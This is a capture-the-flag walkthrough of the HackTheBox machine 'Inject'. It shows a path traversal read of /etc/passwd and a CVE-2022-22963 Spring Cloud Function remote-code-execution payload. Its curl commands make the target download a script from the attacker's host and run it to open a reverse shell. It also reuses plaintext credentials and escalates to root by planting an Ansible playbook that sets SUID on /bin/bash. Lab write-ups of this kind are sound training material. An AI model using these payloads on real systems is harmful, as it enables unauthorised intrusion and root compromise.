Machine: Inject
Difficulty: Easy
Platform: HackTheBox
Release: Released on 3/11/2023
About Inject HTB:
This is an easy-level machine in which we exploit a file upload vulnerability to make the page show us how we can access them. The page utilizes a parameter in the GET method to access system files, allowing us to exploit an LFI (Local File Inclusion) using the Directory Path Traversal technique.
Shell as Frank
After performing a brief enumeration in the directory where the web service is hosted, we detected the presence of the Spring Boot framework. We leveraged a vulnerability in this framework that allows us to achieve remote code execution. This way, we gained access to the system as the user "frank".
Shell as Phil
Subsequently, we proceeded to enumerate the personal directory of the user "phil" and successfully accessed a file that contained stored credentials. We utilized these credentials to log in as "phil".
Shell as Root
To escalate our privileges to "root", we exploited a cron job by abusing YML extension files and utilized the "ansible-parallel" tool, which is executed at regular intervals.
Recon:
Port Scanning:
elswix@parrot$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.35.222 -oG tcpPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
elswix@parrot$ cat tcpPorts | grep -oP '\d{1,5}/open' | awk '{print $1}' FS="/" | xargs | tr ' ' ',' | tr -d '\n'
22,8080
elswix@parrot$ nmap -sCV -p22,8080 10.129.35.222 -oN fullScan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

After reviewing the technologies used by the web service using the Wappalyzer extension in our browser, we did not come across any relevant or interesting information.

We can observe that the page contains a YouTube video player displaying the following video:

However, this is not particularly relevant, so to speak.
Upon further examination of the page, we noticed a section in the upper-right corner of the website indicating "Upload."

We navigated to that section and noticed that it prompts for file upload.

I will proceed to create a text file (.txt) with some sample content to verify if it can be uploaded. I will save it in the "Downloads" directory for easy location and quick access.
elswix@parrot$ echo "This is an example" > /home/elswix/Downloads/test.txt

We can see that you are requesting to upload image files. I will try uploading any random image from Google with the .jpg extension.

Excellent, the file has been successfully uploaded. You can see that it prompts you to view your image, indicating that it has indeed been saved somewhere.

It has worked successfully; the image has been uploaded and we can view it.
At this point, it is crucial to maintain active vigilance, especially from a hacker's perspective, as the image is not displayed through direct browsing of a specific directory, such as
/uploads/cat.jpg
. Instead, a section is employed that expects to receive the "img" parameter via the GET method, allowing the parameter to directly point to the uploaded file in the system. This scenario poses a potential risk, as we could attempt to exploit it for local file inclusion (LFI) in order to gain access to system-level files.For example:

We have observed that it did not work as expected. This could be due to the fact that it is searching for the "/etc" directory within the current directory, which may not exist.
In light of this, we will proceed to test a basic injection technique known as "Directory Path Traversal," which would allow us to navigate back several directories to reach the system root and then append "/etc/passwd". It is worth mentioning that the "/etc/passwd" file should exist if the Directory Path Traversal is successfully performed.

We have successfully performed a Directory Path Traversal, and it appears that the file exists. However, due to the limitations of displaying only images, we are unable to view the content of the file in question.
Nevertheless, all hope is not lost. We can attempt the same request using the
curl
tool through the console:elswix@parrot$ curl -s 'http://10.129.35.222:8080/show_image?img=../../../../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
Shell as Frank
After enumerating the system further, we discovered that it utilizes the Spring Framework.
elswix@parrot$ curl -s 'http://10.129.35.222:8080/show_image?img=../../../pom.xml'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>

While searching for the CVE on GitHub, we found the following repository:
CVE-2022-22963

In this repository, we have found a section that contains a command allowing us to remotely execute commands by making an HTTP request using the POST method, leveraging a Spring Cloud function.
elswix@parrot$ curl -X POST http://10.129.35.222:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.16.42/probando")' --data-raw 'data' -v

We observe that the victim machine is making a GET request to our Python-based HTTP server. This indicates that we have successfully achieved remote command execution. Now, the next step is to send a reverse shell. We will proceed to create a file that contains the one-liner bash command to initiate the reverse shell.

Now we will instruct the server to copy our
pwned.sh
file and save it in the /tmp
directory. Subsequently, we will execute it to receive the shell.elswix@parrot$ curl -X POST http://10.129.35.222:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.16.42/pwned.sh -o /tmp/pwned.sh")' --data-raw 'data' -v

Now, finally, we will proceed to execute the file that we have stored at the path
/tmp/pwned.sh
.elswix@parrot$ curl -X POST http://10.129.35.222:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/pwned.sh")' --data-raw 'data' -v
elswix@parrot$ nc -nlvp 443

Shell as Phil
Upon inspecting the personal directory of the user "Frank," we did not find the user flag. However, we did notice a directory named ".m2." Upon entering this directory, we discovered the "settings.xml" file, which contains credentials.
frank@inject$ cat /home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
frank@inject$ su phil
Password: DocPhillovestoInject123
phil@inject$
Shell as Root
To escalate our privileges, the first step is to check if we have sudoers privileges. However, we did not find any relevant configurations in that regard. Nonetheless, we noticed that as the user "Phil," we belong to the "staff" group and have the ability to modify the contents of the "/opt/automation/tasks" directory.
phil@inject$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject$ find / -group staff 2>/dev/null
/opt/automation/tasks
/root
/var/local
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER
/usr/local/lib/python3.8/dist-packages/__pycache__
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc
/usr/local/share/fonts
/usr/local/share/fonts/.uuid
After running it for a while, we observed that the root user executes the following:

Upon reviewing the
/opt/automation/tasks/
directory, we found a file named playbook_1.yml
. However, this file is owned by the root user, and we do not have write permissions on it. However, we noticed that the periodically executed task runs all files in that directory with the .yml extension. Therefore, we can attempt to exploit this circumstance to perform unauthorized actions.After conducting an internet search, we found a page that demonstrates how to execute commands using these types of files. You can refer to the following link for more information: Link to the page
Basically, we must create a .yml file with the following content:
---
- name: test play
hosts: webservers
serial: 3
gather_facts: False
tasks:
- name: first task
command: hostname
- name: second task
command: hostname
chmod u+s /bin/bash
to assign the SUID privilege to /bin/bash
.---
- name: test play
hosts: localhost
serial: 3
gather_facts: False
tasks:
- name: first task
command: chmod u+s /bin/bash
pwned.yml
in the /opt/automation/tasks/
directory. After a few minutes, the /bin/bash
file will acquire the SUID attribute.phil@inject$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
bash -p
to obtain a root shell.phil@inject$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
b1e**************************205
bash-5.0#